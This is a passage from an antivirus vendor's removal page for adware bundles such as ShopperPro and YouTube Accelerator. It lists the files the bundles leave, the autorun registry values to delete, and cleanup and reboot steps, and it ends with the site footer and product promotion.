    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\00eacea7b25817dbb7bd3b8ad23b6afd.js (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_19064\ins_iwebar.exe (45671 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_19064\ins_sense.exe (49608 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_19064\ins_shopperpro.exe (17450 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_23861\DCytaiesmt_smtyc_setup.exe (7726 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_19064\ins_yta.exe (28491 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_16207\DCytaiesmt_smtyc_setup.exe (7726 bytes)
    C:\ProgramData\ShopperPro\spbihe.js (435 bytes)
    C:\Windows\Temp\SPBI_cache_iexplore.exe.cache (1032 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\chrome\content\main.js (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\chrome\skin\favicon.ico (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\chrome\skin\icon32x32.png (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\chrome\content\tr.js (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\9813[1].xpi (1928 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\chrome\content\wp.html (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\modules\TimePassed.js (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\chrome\skin\icon16x16.png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\uinst.exe (19050 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\node[3] (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\chrome (32 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\modules\tools\Os.js (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ein.exe (19778 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\System.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\modules\FileCacher.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\SetupWPP[1].exe (16240 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\aints.exe (17874 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\modules\AddonInfo.js (271 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\chrome\skin\loader.css (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\nsProcess.dll (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\modules\tools\Firstrun.js (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\webprotector_chrome[1] (32 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\ffwebex.xpi (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\node[2] (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\chrome\content\main.xul (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\chrome\skin\main.css (128 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\pin[1].gif (34 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\modules\tools\FFInfo.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\modules\Observer.js (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\chrome\skin\safe150x30.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\modules\PrefMan.js (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\chrome\content\tools.js (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\chrome.manifest (355 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\inetc.dll (46 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\modules\Timer.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\webprotector_installer[1].exe (17968 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\modules\WebsiteVerifier.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\modules\ToolbarButton.js (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\modules\GUID.js (599 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\chrome\skin\wp.css (330 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\LiveUpdateWPP_is[1].exe (17248 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\pin[4].gif (34 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy736C.tmp (29413 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\install.rdf (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\node[2] (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\modules\tools\DaysPassed.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\modules\MessageDisplayer.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ZipDLL.dll (3608 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\chrome\skin\notSafe150x30.png (4 bytes)
    C:\Windows\Temp\SBCCB2A.tmp (98 bytes)
    C:\Windows\Temp\SBCD29D.tmp (44 bytes)
    C:\Windows\Temp\SBCB7FE.tmp (547 bytes)
    %Program Files% (x86)\YouTube Accelerator\helper.dll (200 bytes)
    C:\Windows\Temp\SBCCD4D.tmp (44 bytes)
    C:\Windows\Temp\SBCF29D.tmp (547 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\va_conf.dat (706 bytes)
    C:\Windows\Temp\SBCD173.tmp (98 bytes)
    C:\Windows\Temp\SBCD9DE.tmp (51193 bytes)
    %Program Files% (x86)\YouTube Accelerator\engine.dll (146 bytes)
    %Program Files% (x86)\YouTube Accelerator\ipc.dll (286 bytes)
    %Program Files% (x86)\YouTube Accelerator\xmldb.dll (192 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH000e.TMP (11493 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH001a.TMP (13284 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\blank.html (75 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH000d.TMP (7861 bytes)
    C:\Users\"%CurrentUserName%"\Desktop\YouTube Accelerator.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VADEU.LNG (18 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0006.TMP (115350 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe (14357 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0019.TMP (11019 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAENG.LNG (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAuninstall.mht (9 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0011.TMP (34 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLJ979E.tmp (6 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH001f.TMP (2461 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAIDN.LNG (17 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLC978D.tmp (3791 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPOL.LNG (1166 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAROM.LNG (19 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLK99A2.tmp (1604 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0001.TMP (2104 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe (19739 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelperSetup.exe (27818 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0004.TMP (16 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0009.TMP (2104 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll (3048 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0016.TMP (6341 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0003.TMP (119 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0010.TMP (610 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\OK.gif (329 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0008.TMP (2784 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH000c.TMP (941 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VATRK.LNG (18 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAITA.LNG (1660 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPTB.LNG (401 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0002.TMP (2104 bytes)
    %Program Files% (x86)\YouTube Accelerator\temp.000 (51331 bytes)
    %Program Files% (x86)\YouTube Accelerator\res\~GLH0014.TMP (75 bytes)
    %Program Files% (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe (49 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VASRB.LNG (1184 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLM9BA5.tmp (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe (30222 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPOL.LNG (1166 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VASRB.LNG (1184 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAESM.LNG (873 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll (3271 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFRA.LNG (402 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe (35420 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFRA.LNG (402 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll (6691 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH000f.TMP (329 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VANLD.LNG (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0007.TMP (1568 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFIL.LNG (351 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe (20746 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll (34861 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll (7687 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH000a.TMP (18940 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe (3528 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe (20848 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAITA.LNG (1660 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAJPN.LNG (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0005.TMP (65 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VADEU.LNG (18 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0012.TMP (15 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll (4155 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page2.mht (1961 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAESM.LNG (873 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAIDN.LNG (17 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0015.TMP (4061 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0000.TMP (10 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx (3175 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page1.mht (10 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Cancel.gif (610 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAJPN.LNG (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VANLD.LNG (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe (2082 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll (98 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLF9FBE.tmp (12 bytes)
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\YouTube Accelerator.lnk (1 bytes)
    %Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe (146 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VATRK.LNG (18 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFAR.LNG (15 bytes)
    C:\Windows\SysWOW64\temp.000 (3624 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH000b.TMP (11493 bytes)
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\~GLH0021.TMP (65 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAROM.LNG (19 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFIL.LNG (351 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\comtest.gif (1817 bytes)
    %Program Files% (x86)\YouTube Accelerator\INSTALL.LOG (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAENG.LNG (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFAR.LNG (15 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPTB.LNG (401 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLG9FAD.tmp (93268 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\progbar.gif (238 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0020.TMP (1568 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe (10592 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp841E.tmp\inetc.dll (44 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp841E.tmp\nsJSON.dll (15 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Swift Record\lm (128 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp841E.tmp\NSISEncrypt.dll (3350 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Swift Record\mj (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp841E.tmp\IpConfig.dll (4254 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp841E.tmp\WmiInspector.dll (3137 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp841E.tmp\System.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Swift Record\tlg (41 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp841E.tmp\nsExec.dll (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp841E.tmp\UserInfo.dll (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoF8EF.tmp\Hxvjeflzavnv.tmp (371988 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoF8EF.tmp\dkhbofocf.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoF8EF.tmp\lwfjntrs.dll (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoF8EF.tmp\mhuec.dll (2136 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoF8EF.tmp\Hibqtpj.exe (3071482 bytes)
    C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\23B523C9E7746F715D33C6527C18EB9D (724 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\index[1].htm (845 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\hatter[1].js (673 bytes)
    C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\23B523C9E7746F715D33C6527C18EB9D (1056 bytes)
    C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8059E9A0D314877E40FE93D8CCFB3C69_A1CC53D3708B86D614A83D7FE93FAB48 (1432 bytes)
    C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8059E9A0D314877E40FE93D8CCFB3C69_A1CC53D3708B86D614A83D7FE93FAB48 (463 bytes)
    C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\828298824EA5549947C17DDABF6871F5_4A500E9AA7C5573906560F21D53A5861 (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\jquery.min[2].js (47807 bytes)
    C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\828298824EA5549947C17DDABF6871F5_4A500E9AA7C5573906560F21D53A5861 (1312 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nso8131.tmp (35697 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nso8132.tmp\4D90EAE405E9E2FF (34773 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nso8132.tmp\DCytaiesmt_smtyc_setup.exe (379403 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nso8132.tmp\System.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nso8132.tmp\NK.lky (16 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nso8132.tmp\D1989.dll (30 bytes)
    

    4. 

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):
    

    [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
    "SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1812\jsdrv.exe"

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1812\jsdrv.exe"

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe /startup"

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe"
    

    5. 

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
    6. 

  6. Reboot the computer.
    7. 



*Manual removal may cause unexpected system behaviour and should be performed at your own risk.












 
 




 
No votes yet












				


							


			

				
					  
							

		

		


					
							

	

	
	        


	

        
      
 

      
      

      
    
 

    
  
 

		


		

		
			

			

				

					Lavasoft is the maker of Ad-Aware,
					the world's most popular anti-malware 
					software with over 450 million 
					downloads.
				

				

					© 2026 Lavasoft. All rights reserved.

					Terms Of Use |   Privacy Policy
					


								

			


		

		


	

	
	

	

		x
		
Our best antivirus yet!

		
Fresh new look. Faster scanning. Better protection.

		

			
Enjoy unique new features, lightning fast scans and a simple yet beautiful new look in our best antivirus yet!

			
For a quicker, lighter and more secure experience, download the all new adaware antivirus 12 now!

			
			Download adaware antivirus 12
		

		No thanks, continue to lavasoft.com
	

	

		

			close x
			
Discover the new adaware antivirus 12

			
Our best antivirus yet

			Download Now